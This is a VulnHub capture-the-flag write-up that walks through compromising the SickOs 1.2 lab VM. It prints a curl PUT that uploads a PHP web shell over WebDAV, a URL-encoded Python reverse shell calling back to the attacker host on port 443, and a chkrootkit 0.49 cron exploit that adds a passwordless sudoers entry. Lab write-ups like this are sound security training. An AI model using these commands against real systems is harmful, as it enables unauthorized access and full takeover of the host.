SickOs: 1.2 VulnHub Writeup

  1. Service discovery
  2. Damn it DAVe
  3. Three hours later..
  4. Conclusion

Todays VM is the second installation in the SickOs series by D4rk, and is named SickOs: 1.2.

Service discovery

First things first, a port scan.

# nmap -T4 -A -v 192.168.56.103

Starting Nmap 6.47 ( http://nmap.org ) at 2016-04-27 10:02 BST
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 08:02
Scanning 192.168.56.103 [2 ports]
Completed Ping Scan at 08:02, 1.61s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:02
Completed Parallel DNS resolution of 1 host. at 10:02, 0.02s elapsed
Initiating Connect Scan at 08:02
Scanning 192.168.56.103 [1000 ports]
Discovered open port 80/tcp on 192.168.56.103
Discovered open port 22/tcp on 192.168.56.103
Completed Connect Scan at 08:02, 4.62s elapsed (1000 total ports)
Initiating Service scan at 08:02
Scanning 2 services on 192.168.56.103
Completed Service scan at 08:02, 6.01s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.56.103.
Initiating NSE at 08:02
Completed NSE at 08:02, 0.07s elapsed
Nmap scan report for 192.168.56.103
Host is up (0.00064s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 10:02
Completed NSE at 10:02, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds

There's nothing to see on ssh, and we get a rather useless response from lighttpd.

<html>

<img src="blow.jpg">

</html>

...snip...

<!-- NOTHING IN HERE ///\\\ -->>>>

There's an image there, but I feel we're being trolled.

Damn it DAVe

A quick run of dirsearch shows a hit for /index.php/login and /test. There's nothing much else to see here, so I go about fuzzing the HTTP methods. Inspecting the response of the OPTIONS verb on the /test directory, it looks like it has WebDAV enabled.

# curl -v -X OPTIONS http://192.168.56.103/test/
*   Trying 192.168.56.103...
* Connected to 192.168.56.103 (192.168.56.103) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.56.103
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Thu, 28 Apr 2016 06:55:52 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.56.103 left intact

I use curl to upload a simple PHP shell.

curl -X PUT -d '<?php system($_GET["c"]);' http://192.168.56.103/test/1.php

I try to get a reverse shell, but fail dismally - guess there must be some egress filtering in place. After prodding several common ports, I find that 443 is allowed through the filtering, and gain a reverse shell with the following curl command, using the Python reverse shell from the Reverse Shell Cheat Sheet.

curl "http://192.168.56.103/test/1.php?c=python+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22192.168.56.104%22%2c443))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b%27"

After exploring the system with , we find that chkrootkit version 0.49 is installed, which is vulnerable to a local root exploit if it is run on a cron task.

# dpkg -l | grep chkrootkit
rc  chkrootkit                      0.49-4ubuntu1.1                   rootkit detector

Checking the cron directories in /etc, it looks like chkrootkit is run daily.

# ls -lah /etc/cron* 2>/dev/null | grep chkrootkit
-rwxr-xr-x  1 root root 2.0k Jun  4  2014 chkrootkit

We should be able to just wait this one out, after placing a malicious file in /tmp/update.

# echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

In the mean while, I see that there is a non-system user named john. I try to use hydra to test some basic word lists, but it craps out.

Three hours later..

After some time, I check the filesize of /etc/sudoers, and find that it has increased. I attempt to sudo to root.

# sudo su
id
uid=0(root) gid=0(root) groups=0(root)

Time to collect our flag!

cd /root
ls -lah
total 76K
drwx------  4 root root 4.0K Apr 26 03:58 .
drwxr-xr-x 22 root root 4.0K Mar 30 04:57 ..
-rw-r--r--  1 root root  39K Apr  9  2015 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
-r--------  1 root root  491 Apr 26 03:58 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
-rw-------  1 root root 3.0K Apr 26 04:01 .bash_history
-rw-r--r--  1 root root 3.1K Apr 19  2012 .bashrc
drwx------  2 root root 4.0K Apr 12 08:37 .cache
drwxr-xr-x  2 john john 4.0K Apr 12 08:42 chkrootkit-0.49
-rw-r--r--  1 root root  541 Apr 25 22:48 newRule
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
cat newRule
# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
# Completed on Mon Apr 25 22:48:24 2016

In the above output, we find our flag, and also the ruleset for iptables which prevent a connect back on most ports.

Conclusion

This was a nice little VM - it stresses the importance of doing some really basic fuzzing on your target when a HTTP server is available. You never know what kind of plugins are enabled, or what you might find.

I'm pretty sure another path of elevation was via the john user, but I didn't have the patience to wait for my bruteforce attack to possibly bring up a hit. The john user is part of the sudoers group, so if we had found his password, we could of simply executed sudo su.

Thanks for the VM D4rk, and as always thank you VulnHub for hosting it!